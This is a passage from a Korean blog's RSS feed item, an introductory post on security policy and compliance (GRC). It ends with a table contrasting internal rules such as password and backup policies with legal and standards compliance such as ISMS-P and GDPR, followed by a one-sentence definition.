&lt;tbody data-end=&quot;1164&quot; data-start=&quot;1011&quot;&gt;
&lt;tr data-end=&quot;1041&quot; data-start=&quot;1011&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1016&quot; data-start=&quot;1011&quot;&gt;목적&lt;/td&gt;
&lt;td data-end=&quot;1030&quot; data-start=&quot;1016&quot; data-col-size=&quot;sm&quot;&gt;내부 운영 기준 수립&lt;/td&gt;
&lt;td data-end=&quot;1041&quot; data-start=&quot;1030&quot; data-col-size=&quot;sm&quot;&gt;법/규제 준수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1082&quot; data-start=&quot;1042&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1047&quot; data-start=&quot;1042&quot;&gt;범위&lt;/td&gt;
&lt;td data-end=&quot;1063&quot; data-start=&quot;1047&quot; data-col-size=&quot;sm&quot;&gt;직원&amp;middot;시스템&amp;middot;데이터&amp;middot;장비&lt;/td&gt;
&lt;td data-end=&quot;1082&quot; data-start=&quot;1063&quot; data-col-size=&quot;sm&quot;&gt;국가법, 산업표준, 국제표준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1119&quot; data-start=&quot;1083&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1088&quot; data-start=&quot;1083&quot;&gt;적용&lt;/td&gt;
&lt;td data-end=&quot;1105&quot; data-start=&quot;1088&quot; data-col-size=&quot;sm&quot;&gt;내부 문서, SOP, 지침&lt;/td&gt;
&lt;td data-end=&quot;1119&quot; data-start=&quot;1105&quot; data-col-size=&quot;sm&quot;&gt;감사, 인증, 보고&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1164&quot; data-start=&quot;1120&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1125&quot; data-start=&quot;1120&quot;&gt;예시&lt;/td&gt;
&lt;td data-end=&quot;1142&quot; data-start=&quot;1125&quot; data-col-size=&quot;sm&quot;&gt;비밀번호 정책, 백업 주기&lt;/td&gt;
&lt;td data-end=&quot;1164&quot; data-start=&quot;1142&quot; data-col-size=&quot;sm&quot;&gt;ISMS-P 인증, GDPR 준수&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1169&quot; data-start=&quot;1166&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1187&quot; data-start=&quot;1171&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1258&quot; data-start=&quot;1188&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 정책&amp;middot;컴플라이언스 = &amp;ldquo;기업이 안전하게 운영되도록 내부 규칙을 만들고, 법과 표준을 지켜 점검&amp;middot;감사하는 체계&amp;rdquo;&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/10. 보안 정책&amp;middot;컴플라이언스(GRC)</category>
      <category>보안</category>
      <category>보안 정책</category>
      <category>컴플라이언스</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/335</guid>
      <comments>https://toastfactory.tistory.com/335#entry335comment</comments>
      <pubDate>Fri, 14 Nov 2025 10:52:52 +0900</pubDate>
    </item>
  </channel>
</rss>